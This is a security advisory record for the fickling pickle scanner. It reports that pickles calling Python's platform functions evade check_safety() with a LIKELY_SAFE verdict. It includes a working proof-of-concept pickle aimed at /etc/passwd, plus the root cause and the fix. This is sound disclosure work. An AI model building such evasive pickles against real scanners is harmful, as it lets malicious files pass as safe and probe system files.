{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.9"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:58:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Our assessment\n\nWe added `platform` to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975). \n\nIt was not possible to inject extra arguments to `file` without first monkey-patching `platform._follow_symlinks` with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.\n\nhttps://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695\n```python\ntarget = _follow_symlinks(target)\n# \"file\" output is locale dependent: force the usage of the C locale\n# to get deterministic behavior.\nenv = dict(os.environ, LC_ALL=\u0027C\u0027)\ntry:\n    # -b: do not prepend filenames to output lines (brief mode)\n    output = subprocess.check_output([\u0027file\u0027, \u0027-b\u0027, target],\n                                     stderr=subprocess.DEVNULL,\n                                     env=env)\n```\n\n# Original report\n\n## Summary\nA crafted pickle invoking `platform._syscmd_file`, `platform.architecture`, or `platform.libc_ver` passes `check_safety()` with `Severity.LIKELY_SAFE` and zero findings. During `fickling.loads()`, these functions invoke `subprocess.check_output` with attacker-controlled arguments or read arbitrary files from disk.\n\n**Clarification:** The subprocess call uses a list argument (`[\u0027file\u0027, \u0027-b\u0027, target]`), not `shell=True`, so the attacker controls the file path argument to the `file` command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.\n\n## Affected versions\n`\u003c= 0.1.9` (verified on upstream HEAD as of 2026-03-04)\n\n## Non-duplication check against published Fickling GHSAs\nNo published advisory covers `platform` module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in `UNSAFE_IMPORTS`) but covers a distinct set of functions.\n\n## Root cause\n1. `platform` not in `UNSAFE_IMPORTS` denylist.\n2. `OvertlyBadEvals` skips calls imported from stdlib modules.\n3. `UnusedVariables` heuristic neutralized by making call result appear used (`SETITEMS` path).\n\n## Reproduction (clean upstream)\n```python\nfrom unittest.mock import patch\nimport fickling\nimport fickling.fickle as op\nfrom fickling.fickle import Pickled\nfrom fickling.analysis import check_safety\n\npickled = Pickled([\n    op.Proto.create(4),\n    op.ShortBinUnicode(\u0027platform\u0027),\n    op.ShortBinUnicode(\u0027_syscmd_file\u0027),\n    op.StackGlobal(),\n    op.ShortBinUnicode(\u0027/etc/passwd\u0027),\n    op.TupleOne(),\n    op.Reduce(),\n    op.Memoize(),\n    op.EmptyDict(),\n    op.ShortBinUnicode(\u0027init\u0027),\n    op.ShortBinUnicode(\u0027x\u0027),\n    op.SetItem(),\n    op.Mark(),\n    op.ShortBinUnicode(\u0027trace\u0027),\n    op.BinGet(0),\n    op.SetItems(),\n    op.Stop(),\n])\n\nresults = check_safety(pickled)\nprint(results.severity.name, len(results.results))  # LIKELY_SAFE 0\n\nwith patch(\u0027subprocess.check_output\u0027, return_value=b\u0027ASCII text\u0027) as mock_sub:\n    fickling.loads(pickled.dumps())\n    print(\u0027subprocess called?\u0027, mock_sub.called)       # True\n    print(\u0027args:\u0027, mock_sub.call_args[0])               # ([\u0027file\u0027, \u0027-b\u0027, \u0027/etc/passwd\u0027],)\n```\n\nAdditional affected functions (same pattern):\n- `platform.architecture(\u0027/etc/passwd\u0027)` \u2014 calls `_syscmd_file` internally\n- `platform.libc_ver(\u0027/etc/passwd\u0027)` \u2014 opens and reads arbitrary file contents\n\n## Minimal patch diff\n```diff\n--- a/fickling/fickle.py\n+++ b/fickling/fickle.py\n@@\n+        \"platform\",\n```\n\n## Validation after patch\n- Same PoC flips to `LIKELY_OVERTLY_MALICIOUS`\n- `fickling.loads` raises `UnsafeFileError`\n- `subprocess.check_output` is not called\n\n## Impact\n- **False-negative verdict:** `check_safety()` returns `LIKELY_SAFE` with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments.\n- **Subprocess invocation:** `platform._syscmd_file` calls `subprocess.check_output([\u0027file\u0027, \u0027-b\u0027, target])` where `target` is attacker-controlled. The `file` command reads file headers and returns type information, enabling file existence and type probing.\n- **File read:** `platform.libc_ver` opens and reads chunks of an attacker-specified file path.",
  "id": "GHSA-5cxw-w2xg-2m8h",
  "modified": "2026-03-13T20:58:10Z",
  "published": "2026-03-13T20:58:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5cxw-w2xg-2m8h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fickling\u0027s `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`"
}